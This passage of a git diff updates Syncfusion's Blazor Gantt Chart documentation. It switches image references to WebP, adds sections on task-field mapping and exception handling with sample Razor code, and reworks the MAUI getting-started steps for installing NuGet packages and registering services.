 > You can refer to our [Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Gantt Chart example](https://blazor.syncfusion.com/demos/gantt-chart/default-functionalities?theme=bootstrap4) to know how to render and configure the Gantt Chart.
\ No newline at end of file
diff --git a/blazor/gantt-chart/connecting-to-adaptors/custom-adaptor.md b/blazor/gantt-chart/connecting-to-adaptors/custom-adaptor.md
index 26d1cd695a..d45912d214 100644
--- a/blazor/gantt-chart/connecting-to-adaptors/custom-adaptor.md
+++ b/blazor/gantt-chart/connecting-to-adaptors/custom-adaptor.md
@@ -187,7 +187,7 @@ The following example demonstrates how to implement custom data binding using a
 
 The following image shows the custom-bind data displayed in the Gantt Chart:
 
-![Custom Binding in Gantt](../images/blazor-gantt-custom-binding.png)
+![Custom Binding in Gantt](../images/blazor-gantt-custom-binding.webp)
 
 > If the `Read/ReadAsync` method is not overridden in the custom adaptor, the default read handler will be used.
 
@@ -316,7 +316,7 @@ The following example demonstrates how to inject a service into the Custom Adapt
 
 When using a custom adaptor, searching operation must be handled by overriding the `Read` or `ReadAsync` method of the `DataAdaptor` abstract class. The `DataManagerRequest` object provides details about the search action as shown in the image below:
 
-![Handling Searching in Custom Adaptor](../images/searching-custom-adaptor.png)
+![Handling Searching in Custom Adaptor](../images/searching-custom-adaptor.webp)
 
 The following example demonstrates how to implement searching operation for custom-bound data:
 
@@ -407,7 +407,7 @@ The following example demonstrates how to implement searching operation for cust
 
 When using a custom adaptor, filtering operation must be handled by overriding the `Read` or `ReadAsync` method of the `DataAdaptor` abstract class. The `DataManagerRequest` object provides filtering details as shown in the image below:
 
-![Handling Filtering in Custom Adaptor](../images/filtering-in-custom-binding.png)
+![Handling Filtering in Custom Adaptor](../images/filtering-in-custom-binding.webp)
 
 Based on this information, the custom data source can be filtered using the built-in [PerformFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformFiltering__1_System_Collections_Generic_IEnumerable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_WhereFilter__System_String_) method of the `DataOperations` class.
 
@@ -506,7 +506,7 @@ The following example demonstrates how to implement the filtering operation for
 
 When using a custom adaptor, the sorting operation must be handled by overriding the `Read` or `ReadAsync` method of the `DataAdaptor` abstract class. The `DataManagerRequest` object provides sorting details, as shown in the image below:
 
-![Handling Sorting in Custom Adaptor](../images/sorting-in-custom-binding.png)
+![Handling Sorting in Custom Adaptor](../images/sorting-in-custom-binding.webp)
 
 You can sort data using the built‑in [PerformSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSorting_System_Collections_IEnumerable_System_Collections_Generic_List_Syncfusion_Blazor_Data_SortedColumn__) method of the `DataOperations` class.
 
@@ -853,4 +853,4 @@ The following example demonstrates how to send additional parameters to the serv
 
 ```
 
-![Passing Additional Parameters to Custom Adaptor in Blazor Gantt Chart](../images/sending-additional-param-custom-binding.png)
\ No newline at end of file
+![Passing Additional Parameters to Custom Adaptor in Blazor Gantt Chart](../images/sending-additional-param-custom-binding.webp)
\ No newline at end of file
diff --git a/blazor/gantt-chart/connecting-to-adaptors/url-adaptor.md b/blazor/gantt-chart/connecting-to-adaptors/url-adaptor.md
index 2067a7837f..7c795e4dba 100644
--- a/blazor/gantt-chart/connecting-to-adaptors/url-adaptor.md
+++ b/blazor/gantt-chart/connecting-to-adaptors/url-adaptor.md
@@ -316,7 +316,7 @@ namespace URLAdaptor.Controllers
  
 When you run the application, the Blazor Gantt Chart  will display data fetched from the API.
  
-![UrlAdaptor Data](../images/url-adaptor.png)
+![UrlAdaptor Data](../images/url-adaptor.webp)
  
 > * The Gantt Chart supports server-side operations such as **searching**, **sorting** and **filtering**. These can be handled using methods like [PerformSearching](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSearching__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_SearchFilter__), [PerformFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformFiltering__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_WhereFilter__System_String_), [PerformSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSorting__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_Sort__), [PerformTake](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformTake__1_System_Linq_IQueryable___0__System_Int32_), and [PerformSkip](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSkip__1_System_Linq_IQueryable___0__System_Int32_) from the **Syncfusion.Blazor.Data** package. Let's explore how to manage these data operations using the `UrlAdaptor`.
 > * In an API service project, add **Syncfusion.Blazor.Data** by opening the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install it.
@@ -325,7 +325,7 @@ When you run the application, the Blazor Gantt Chart  will display data fetched
 
 To handle the searching operation, ensure that your API endpoint supports custom searching criteria. Implement the searching logic on the server side using the `PerformSearching` method from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class. This allows the custom data source to undergo searching based on the criteria specified in the incoming [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object.
 
-![UrlAdaptor - Searching](../images/searching-in-urladaptor.png)
+![UrlAdaptor - Searching](../images/searching-in-urladaptor.webp)
 
 {% tabs %}
 {% highlight cs tabtitle="GanttController.cs" %}
@@ -388,7 +388,7 @@ public object Post([FromBody] DataManagerRequest DataManagerRequest)
 To handle the filtering operation, ensure that your API endpoint supports custom filtering criteria. Implement the filtering logic on the server side using the `PerformFiltering` method from the `DataOperations` class. This allows the custom data source to undergo filtering based on the criteria specified in the incoming `DataManagerRequest` object.
 
 **Column filtering**
-![Column filtering](../images/single-filtering-urladaptor.png)
+![Column filtering](../images/single-filtering-urladaptor.webp)
 
 {% tabs %}
 {% highlight cs tabtitle="GanttController.cs" %}
@@ -455,10 +455,10 @@ public object Post([FromBody] DataManagerRequest DataManagerRequest)
 To handle the sorting operation, ensure that your API endpoint supports custom sorting criteria. Implement the sorting logic on the server side using the `PerformSorting` method from the `DataOperations` class. This allows the custom data source to undergo sorting based on the criteria specified in the incoming `DataManagerRequest` object.
 
 **Single column sorting**
-![Single column sorting](../images/sorting-urladaptor.png)
+![Single column sorting](../images/sorting-urladaptor.webp)
 
 **Multi column sorting**
-![Multi column sorting](../images/multisorting-url-adaptor.png)
+![Multi column sorting](../images/multisorting-url-adaptor.webp)
 
 {% tabs %}
 {% highlight cs tabtitle="GanttController.cs" %}
@@ -605,7 +605,7 @@ public class CRUDModel<T> where T : class
 
 To insert a new record, use the `InsertUrl` property to specify the controller action mapping URL for the insert operation. The details of the newly added record are passed to the **newRecord** parameter.
 
-![Insert Record](../images/crud-insert-urladaptor.png)
+![Insert Record](../images/crud-insert-urladaptor.webp)
 
 {% tabs %}
 {% highlight cs tabtitle="GanttController.cs" %}
@@ -633,7 +633,7 @@ public void Insert([FromBody] CRUDModel<TaskData> newRecord)
 
 For updating existing records, use the `UpdateUrl` property to specify the controller action mapping URL for the update operation. The details of the updated record are passed to the **updatedRecord** parameter.
 
-![Update Record](../images/crud-update-urladaptor.png)
+![Update Record](../images/crud-update-urladaptor.webp)
 
 {% tabs %}
 {% highlight cs tabtitle="GanttController.cs" %}
@@ -670,7 +670,7 @@ public void Update([FromBody] CRUDModel<TaskData> updatedRecord)
 
 To delete existing records, use the `RemoveUrl` property to specify the controller action mapping URL for the delete operation. The primary key value of the deleted record is passed to the **deletedRecord** parameter.
 
-![Delete Record](../images/crud-delete-urladaptor.png)
+![Delete Record](../images/crud-delete-urladaptor.webp)
 
 {% tabs %}
 {% highlight cs tabtitle="GanttController.cs" %}
diff --git a/blazor/gantt-chart/criticalpath.md b/blazor/gantt-chart/criticalpath.md
index 1df9c7cdcf..44deeff5b2 100644
--- a/blazor/gantt-chart/criticalpath.md
+++ b/blazor/gantt-chart/criticalpath.md
@@ -230,6 +230,6 @@ The following code snippet demonstrates how to customize the appearance of criti
 {% endhighlight %}
 {% endtabs %}
 
-![Customize taskbar](images/blazor-gantt-chart-critical-path-customize-taskbar.png)
+![Customize taskbar](images/blazor-gantt-chart-critical-path-customize-taskbar.webp)
 
 >If the [ProjectEndDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_ProjectEndDate) property is set in the `SfGantt`, any task that ends on or after this date is considered critical. If the `ProjectEndDate` is not set, the maximum end date from the task records is used to determine which tasks are critical.
\ No newline at end of file
diff --git a/blazor/gantt-chart/data-binding.md b/blazor/gantt-chart/data-binding.md
index 7b0128f1ce..88fdba1b3d 100644
--- a/blazor/gantt-chart/data-binding.md
+++ b/blazor/gantt-chart/data-binding.md
@@ -18,6 +18,64 @@ It supports the following kinds of data binding method:
 
 N> When using `DataSource` as `IEnumerable<T>`, component type(TValue) will be inferred from its value. When using [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) for data binding, the **TValue** must be provided explicitly in the Gantt component.
 
+## TaskFields mapping
+
+Bind data with the Gantt Chart component by using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_DataSource) property. It accepts the list objects or the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) instance. 
+
+Additionally, task-related fields from the data source are mapped to the Gantt Chart component using the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html) property. This property ensures that the necessary task fields, such as [Id](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Id), [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Name), [StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_StartDate), [EndDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_EndDate), [Duration](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Duration), and [ParentID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_ParentID) are properly linked to the corresponding data source fields, allowing the Gantt Chart to render tasks accurately. The columns in the Gantt Chart are automatically rendered based on the properties specified in `GanttTaskFields`, ensuring that the necessary columns are displayed to represent the task data.
+
+This following sample shows self-referential data binding in the Gantt Chart by mapping the data source fields to the `Id` and `ParentID` properties.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Gantt
+
+<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
+    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
+    </GanttTaskFields>
+</SfGantt>
+
+@code{
+    private List<TaskData> TaskCollection { get; set; }
+    protected override void OnInitialized()
+    {
+        this.TaskCollection = GetTaskCollection();
+    }
+
+    public class TaskData
+    {
+        public int TaskID { get; set; }
+        public string TaskName { get; set; }
+        public DateTime StartDate { get; set; }
+        public DateTime EndDate { get; set; }
+        public string Duration { get; set; }
+        public int Progress { get; set; }
+        public int? ParentID { get; set; }
+    }
+
+    private static List<TaskData> GetTaskCollection()
+    {
+        List<TaskData> Tasks = new List<TaskData>()
+        {
+            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
+            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
+            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
+            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
+            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
+            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
+            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
+            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
+        };
+        return Tasks;
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLeMZLfLAFkPmGF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+
 ## List binding
 
 To bind list binding to the Gantt component, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_DataSource) property. The list data source can also be provided as an instance of the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) or by using `SfDataManager` component.
@@ -1213,7 +1271,7 @@ namespace URLAdaptor.Controllers
 
 {% endtabs %}
 
-![Sending Additional Param](images/sending-additional-param.png)
+![Sending Additional Param](images/sending-additional-param.webp)
 
 ### Handling HTTP error
 
@@ -1261,4 +1319,70 @@ The following sample code demonstrates notifying user when server-side exception
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+
+## Handling exceptions
+
+Exceptions triggered during Gantt operations can be handled effectively without interrupting the application. These errors are captured using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEvents-1.html#Syncfusion_Blazor_Gantt_GanttEvents_1_OnActionFailure) event, which provides detailed information returned from the server. This allows for appropriate handling, logging, or user notification without affecting the overall workflow.
+
+Common errors and their resolutions:
+
+* **ResourceFields Configuration Error**
+
+    Ensure that the [ResourceFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_ResourceFields) are properly configured by following the guidelines in the [Resource View documentation](https://blazor.syncfusion.com/documentation/gantt-chart/resource-view).
+
+* **GanttTaskFields Configuration Error**
+
+    Ensure that the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_TaskFields) are properly configured by following the guidelines in the [Hierarchical Data Binding documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#hierarchical-data-binding).
+
+* **HasChildMapping Configuration Error**
+    
+    Ensure that the [HasChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_HasChildMapping) property is properly configured for load-on-demand by following the guidelines in the [Load Child On Demand documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#load-child-on-demand).
+
+* **GanttSegmentFields.StartDate Configuration Error**
+
+    Ensure that the [GanttSegmentFields.StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttSegmentFields-2.html#Syncfusion_Blazor_Gantt_GanttSegmentFields_2_StartDate) field is properly configured by following the guidelines in the [Split Task documentation](https://blazor.syncfusion.com/documentation/gantt-chart/split-task).
+
+The following sample code demonstrates notifying user when server-side exception has occurred during data operation,
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Data
+@using Syncfusion.Blazor.Gantt
+@using Syncfusion.Blazor.Grids
+
+<label class="error" style="display:block; color: red; margin-bottom: 20px;">@ErrorDetails</label>
+<SfGantt TValue="TaskData" Height="450px" Width="700px">
+     <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.UrlAdaptor"></SfDataManager>
+    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration"
+        Progress="Progress" ParentID="ParentID">
+    </GanttTaskFields>
+    <GanttEvents TValue="TaskData" OnActionFailure="ActionFailure"></GanttEvents>
+</SfGantt>
+
+@code{
+    private string ErrorDetails = "";
+    public class TaskData
+    {
+        public int TaskID { get; set; }
+        public string TaskName { get; set; }
+        public DateTime? StartDate { get; set; }
+        public DateTime? EndDate { get; set; }
+        public string Duration { get; set; }
+        public int Progress { get; set; }
+        public int? ParentID { get; set; }
+    }
+
+    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
+    {
+        this.ErrorDetails = args.Error.Message.ToString();
+        StateHasChanged();
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5"  %}
\ No newline at end of file
diff --git a/blazor/gantt-chart/editing-tasks.md b/blazor/gantt-chart/editing-tasks.md
index 3ca7bd7ec2..28a0f7e848 100644
--- a/blazor/gantt-chart/editing-tasks.md
+++ b/blazor/gantt-chart/editing-tasks.md
@@ -321,15 +321,15 @@ Enable dependency editing by mapping the [GanttTaskFields.Dependency](https://he
 
 - **Mouse interactions**: Drag connector points on taskbars to create or modify links.
 
-    ![Updating task dependency with mouse drag and drop action](images/user-interaction.png)
+    ![Updating task dependency with mouse drag and drop action](images/user-interaction.webp)
 
 - **Dialog**: Edit the Dependency tab in the edit dialog.
 
-    ![Updating task dependency in dialog Dependency tab](images/editing-dialog.png)
+    ![Updating task dependency in dialog Dependency tab](images/editing-dialog.webp)
 
 - **Cell editing**: Update the dependency field in the TreeGrid. Ensure valid dependency strings to avoid circular references.
 
-    ![Updating task dependency via cell editing in TreeGrid](images/cell-edit.png)
+    ![Updating task dependency via cell editing in TreeGrid](images/cell-edit.webp)
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/gantt-chart/getting-started-with-maui-app.md b/blazor/gantt-chart/getting-started-with-maui-app.md
index 1c6c12982d..c0f00d0da3 100644
--- a/blazor/gantt-chart/getting-started-with-maui-app.md
+++ b/blazor/gantt-chart/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor GanttChart
 
-This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor GanttChart component into your Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains you through the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) component into your Blazor MAUI application using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistants/overview)
 
@@ -21,13 +21,19 @@ This section explains you through the step-by-step process of integrating the Sy
 
 To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
-## Create a new Blazor MAUI app in Visual Studio
+## Create a new Blazor MAUI app
 
-You can create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt and Themes NuGet in the app
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-To add **Blazor Gantt Chart**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager.
+
+1. Go to **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for `Syncfusion.Blazor.Gantt` and install the latest version
+3. Search for `Syncfusion.Blazor.Themes` and install the latest version
+
+Alternatively, run the following commands in the Package Manager Console:
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -38,8 +44,6 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -48,424 +52,95 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio Code. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
 
-## Create a new Blazor MAUI app in Visual Studio code
+## Create a new Blazor MAUI app
 
-You can create a Blazor MAUI app using Visual Studio code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI app using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Blazor Gantt and Themes NuGet in the app
-
-To add **Blazor Gantt Chart**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Gantt -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the integrated terminal.
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Gantt` namespace.
+Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="VS Code Terminal" %}
 
-@using Syncfusion.Blazor 
-@using Syncfusion.Blazor.Gantt
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
 Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
+
+- Add the **stylesheet reference inside the `<head>` tag** of the `index.html` file.
+- Add the **script reference inside the `<body>` tag** of the `index.html` file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor GanttChart Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Gantt/scripts/sf-gantt.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
